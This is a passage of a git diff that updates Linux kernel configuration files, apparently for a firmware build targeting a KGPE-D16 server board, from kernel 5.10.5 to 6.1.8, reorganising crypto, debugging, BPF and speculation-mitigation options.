-CONFIG_CRYPTO_HMAC=y -# CONFIG_CRYPTO_XCBC is not set -# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers # -# Digest +# Hashes, digests, and MACs # -CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32C_INTEL=y -# CONFIG_CRYPTO_CRC32 is not set -# CONFIG_CRYPTO_CRC32_PCLMUL is not set -# CONFIG_CRYPTO_XXHASH is not set # CONFIG_CRYPTO_BLAKE2B is not set -# CONFIG_CRYPTO_BLAKE2S is not set -# CONFIG_CRYPTO_BLAKE2S_X86 is not set -# CONFIG_CRYPTO_CRCT10DIF is not set +# CONFIG_CRYPTO_CMAC is not set # CONFIG_CRYPTO_GHASH is not set -# CONFIG_CRYPTO_POLY1305 is not set -# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_MICHAEL_MIC is not set -# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_RMD160 is not set -# CONFIG_CRYPTO_RMD256 is not set -# CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -CONFIG_CRYPTO_SHA1_SSSE3=y -CONFIG_CRYPTO_SHA256_SSSE3=y -CONFIG_CRYPTO_SHA512_SSSE3=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set -# CONFIG_CRYPTO_SM3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_VMAC is not set # CONFIG_CRYPTO_WP512 is not set -# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs # -# Ciphers +# CRCs (cyclic redundancy checks) # -# CONFIG_CRYPTO_AES is not set -# CONFIG_CRYPTO_AES_TI is not set -CONFIG_CRYPTO_AES_NI_INTEL=y -# CONFIG_CRYPTO_BLOWFISH is not set -# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA is not set -# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set -# CONFIG_CRYPTO_CAST5 is not set -# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAST6 is not set -# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set -# CONFIG_CRYPTO_DES is not set -# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set -# CONFIG_CRYPTO_FCRYPT is not set -# CONFIG_CRYPTO_SALSA20 is not set -# CONFIG_CRYPTO_CHACHA20 is not set -# CONFIG_CRYPTO_CHACHA20_X86_64 is not set -# CONFIG_CRYPTO_SERPENT is not set -# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set -# CONFIG_CRYPTO_SM4 is not set -# CONFIG_CRYPTO_TWOFISH is not set -# CONFIG_CRYPTO_TWOFISH_X86_64 is not set -# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set -# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) # # Compression @@ -2764,13 +2760,19 @@ CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -2778,19 +2780,47 @@ CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (x86) # -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + # CONFIG_CRYPTO_HW is not set # @@ -2806,7 +2836,6 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_GENERIC_FIND_FIRST_BIT=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y @@ -2815,9 +2844,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -2838,6 +2884,7 @@ CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -2855,6 +2902,7 @@ CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y @@ -2876,7 +2924,6 @@ CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -2888,6 +2935,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -2898,19 +2946,26 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + # # Compile-time checks and compiler options # -# CONFIG_DEBUG_INFO is not set -# CONFIG_ENABLE_MUST_CHECK is not set +CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_DEBUG_INFO_NONE=y +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +# CONFIG_DEBUG_INFO_DWARF4 is not set +# CONFIG_DEBUG_INFO_DWARF5 is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -2929,22 +2984,28 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -# CONFIG_DEBUG_MISC is not set +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +# CONFIG_SLUB_DEBUG is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y # CONFIG_DEBUG_WX is not set CONFIG_GENERIC_PTDUMP=y # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -2956,11 +3017,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -2974,16 +3040,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -3017,6 +3080,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set # CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3029,6 +3093,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -3040,36 +3105,40 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -3078,8 +3147,8 @@ CONFIG_EARLY_PRINTK=y # CONFIG_DEBUG_TLBFLUSH is not set CONFIG_HAVE_MMIOTRACE_SUPPORT=y # CONFIG_X86_DECODER_SELFTEST is not set -CONFIG_IO_DELAY_0X80=y -# CONFIG_IO_DELAY_0XED is not set +# CONFIG_IO_DELAY_0X80 is not set +CONFIG_IO_DELAY_0XED=y # CONFIG_IO_DELAY_UDELAY is not set # CONFIG_IO_DELAY_NONE is not set # CONFIG_CPA_DEBUG is not set @@ -3102,6 +3171,12 @@ CONFIG_ARCH_HAS_KCOV=y CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set # CONFIG_RUNTIME_TESTING_MENU is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/config/linux-kgpe-d16_server-whiptail.config b/config/linux-kgpe-d16_server-whiptail.config index eccb00b31..e3f763aaa 100644 --- a/config/linux-kgpe-d16_server-whiptail.config +++ b/config/linux-kgpe-d16_server-whiptail.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_WATCH_QUEUE is not set @@ -80,6 +84,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -91,11 +97,26 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -119,12 +140,12 @@ CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem -CONFIG_BUILD_BIN2C=y # CONFIG_IKCONFIG is not set # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 +# CONFIG_PRINTK_INDEX is not set CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y # @@ -136,6 +157,9 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set @@ -157,13 +181,13 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_ZSTD is not set # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y -CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set @@ -171,7 +195,6 @@ CONFIG_EXPERT=y # CONFIG_FHANDLE is not set CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -190,10 +213,8 @@ CONFIG_KALLSYMS=y # CONFIG_KALLSYMS_ALL is not set CONFIG_KALLSYMS_ABSOLUTE_PERCPU=y CONFIG_KALLSYMS_BASE_RELATIVE=y -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y CONFIG_RSEQ=y # CONFIG_DEBUG_RSEQ is not set CONFIG_EMBEDDED=y @@ -207,17 +228,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -239,17 +249,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y -CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y CONFIG_FIX_EARLYCON_MEM=y @@ -259,12 +262,10 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # # Processor type and features # -# CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -295,11 +296,13 @@ CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y # CONFIG_GART_IOMMU is not set +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 CONFIG_NR_CPUS=64 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_X86_LOCAL_APIC=y @@ -317,11 +320,12 @@ CONFIG_X86_MCE_THRESHOLD=y # # CONFIG_PERF_EVENTS_INTEL_RAPL is not set # CONFIG_PERF_EVENTS_AMD_POWER is not set +CONFIG_PERF_EVENTS_AMD_UNCORE=y +# CONFIG_PERF_EVENTS_AMD_BRS is not set # end of Performance monitoring # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -332,16 +336,14 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set -CONFIG_ARCH_RANDOM=y -# CONFIG_X86_SMAP is not set CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set # CONFIG_EFI is not set # CONFIG_HZ_100 is not set @@ -361,17 +363,23 @@ CONFIG_DYNAMIC_MEMORY_LAYOUT=y CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set CONFIG_LEGACY_VSYSCALL_XONLY=y # CONFIG_LEGACY_VSYSCALL_NONE is not set # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_UNRET_ENTRY=y +CONFIG_CPU_IBPB_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -386,13 +394,13 @@ 